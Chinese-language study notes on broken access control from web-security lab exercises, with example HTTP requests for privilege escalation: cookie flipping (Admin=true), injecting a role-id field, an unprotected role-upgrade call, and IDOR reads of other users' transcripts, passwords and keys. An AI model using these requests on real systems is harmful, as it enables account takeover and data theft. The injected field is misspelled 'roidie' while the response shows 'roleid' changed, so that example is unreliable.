Access Control

垂直存取控制

垂直存取控制是限制特定類型使用者對敏感功能的存取的機制。例如,管理員可能能夠修改或刪除任何使用者的帳戶,而一般使用者無權存取這些操作。

水平存取控制

水平存取控制是限制特定使用者對資源的存取的機制。例如,銀行應用程式將允許用戶查看交易並從自己的帳戶(但不允許任何其他用戶的帳戶)進行付款。

上下文相關的存取控制

上下文相關的存取控制根據應用程式的狀態或使用者與其互動來限制對功能和資源的存取。例如,零售網站可能會阻止用戶在付款後修改購物車的內容。


垂直提權

常見的方法有以下

  • 從robots.txt中找到未授權功能
  • 從代碼中找到未授權功能
  • 改參數增加未授權功能
  • 覆寫參數增加未授權功能
  • 未驗證請求者是否有權限
  • 不安全的物件存取

從robots.txt中找到未授權功能

不小心把機敏位置留在robots中,而得到admin的入口

例如,在以下robots.txt發現敏感的URL,從而得知管理網址為https://insecure-website.com/admin

############### request ##################
GET /robots.txt
...omit...

############### response ##################
...omit...
User-agent: *
Disallow: /admin

Lab: Unprotected admin functionality


從代碼中找到未授權功能

不小心把機敏位置留在程序中,而得到admin的入口

應用程式仍可能會將 URL 洩漏給使用者。因為URL 可能會在 JavaScript 中公開,如下

<script>
	var isAdmin = false;
	if (isAdmin) {
		...
		var adminPanelTag = document.createElement('a');
		adminPanelTag.setAttribute('https://insecure-website.com/administrator-panel-yb556');
		adminPanelTag.innerText = 'Admin panel';
		...
	}
</script>

發現管理者介面位置為https://insecure-website.com/administrator-panel-yb556

Lab: Unprotected admin functionality with unpredictable URL


改參數增加未授權功能

系統用參數來判斷權限,但任何人都能修改參數,而得到admin權限

例如,正常請求訪問管理介面時無法進入

GET /admin
...omit...
Cookie: session=Sxafefaasefaef; Admin=false
...omit...

但只要將cookie中的admin設為true,就可以進入管理介面,如下

GET /admin
...omit..
Cookie: session=Sxafefaasefaef; Admin=true
...omit...

Lab: User role controlled by request parameter


覆寫參數增加未授權功能

系統用id來判斷權限,但任何人都能修改id,而得到admin權限

例如,目標網站的roleid:2代表管理者權限,在嘗試更改email時發現返回內容包含roleid,

############### request ##################
POST /my-account/change-email
...omit...
{"email":"test@email.com"}

############### response ##################
...omit...
{
 "username":"wiener",
 "email": "test@email.com",
 "apikey": "aw3etg5wea2gaef6goijef",
 "roleid": 1,
}

疑似可以在請求時增加”roidie”: 2,以覆蓋使用者角色,如下

############### request ##################
POST /my-account/change-email
...omit...
{"email":"test@email.com","roidie": 2}

############### response ##################
...omit...
{
 "username":"wiener",
 "email": "test@email.com",
 "apikey": "aw3etg5wea2gaef6goijef",
 "roleid": 2,
}

成功將wiener的roleid變成2,此為目標網站的最高管理員角色ID

Lab: User role can be modified in user profile


未驗證請求者是否有權限

後台提權介面未做限制,任何人都能使用,任何人都可以使用提權功能將小帳號升成admin

例如,分析目標網站時,發現提昇使用者變管理員的請求如下

############### request ##################
POST /admin-roles HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
...omit...
action=upgrade&confirmed=true&username=carlos

但因為該目標有漏洞,因此任何登入的使用者都可以呼叫這個請求,例如wiener登入後可以自己提昇自己的權限,如下

############### request ##################
POST /admin-roles HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
...omit...
action=upgrade&confirmed=true&username=wiener

############### response ##################
HTTP/1.1 302 Found

Lab: Multi-step process with no access control on one step


不安全的物件存取

改變物件位置可以存取敏感內容

例如,目標網站下載當前聊天記錄時系統會發送以下請求

################ request ################
GET /download-transcript/2.txt HTTP/2


################ response ################
...omit...
CONNECTED: -- Now chatting with Hal Pline --<br/>You: test

但如果把請求改為1.txt,可發現系統之前的聊天記錄,並發現密碼敏感信息

################ request ################
GET /download-transcript/1.txt HTTP/2
...omit...

################ response ################
...omit...
CONNECTED: -- Now chatting with Hal Pline --
You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one
Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's correct or not.
You: Wow you're so nice, thanks. I've heard from other people that you can be a right ****
Hal Pline: Takes one to know one
You: Ok so my password is s3x8fw9fxn11anzjovze. Is that right?
Hal Pline: Yes it is!
You: Ok thanks, bye!
Hal Pline: Do one!

Lab: Insecure direct object references

水平提權

常見的方法有以下

  • 換name就可以變成別人
  • 換id就可以變成別人

換name就可以變成別人

wiener登入後台,透過以下請求,可看到wiener專屬的key

GET /my-account?id=wiener

正常請況下wiener只能看自己的key,但因為目標有漏洞,如果請求時把id換成carlos如下,就能偷看到carlos的key

GET /my-account?id=carlos

Lab: User ID controlled by request parameter
Lab: User ID controlled by request parameter with data leakage in redirect
Lab: User ID controlled by request parameter with password disclosure


換id就可以變成別人

wiener登入後台,透過以下請求,可看到wiener專屬的key

GET /my-account?id=5739a-fe78a-ase19

在網站其他地方瀏覽carlos貼的文章時發現以下請求,推斷carlos的id為9411b-87dl1-892ar

GET /blogs?userid=9411b-87dl1-892ar

正常請況下wiener只能看自己的key,但因為目標有漏洞,如果請求時把id換成9411b-87dl1-892ar如下,就能偷看到carlos的key

GET /my-account?id=9411b-87dl1-892ar

Lab: User ID controlled by request parameter, with unpredictable user IDs